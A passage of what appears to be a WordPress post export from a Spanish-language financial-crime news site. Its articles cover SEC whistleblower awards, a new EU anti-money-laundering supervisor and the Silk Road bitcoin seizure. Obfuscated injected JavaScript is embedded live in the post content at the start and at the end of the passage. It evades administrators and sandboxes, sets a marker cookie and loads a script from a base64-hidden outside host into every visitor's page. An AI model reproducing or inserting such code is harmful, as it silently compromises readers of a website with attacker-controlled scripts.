Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 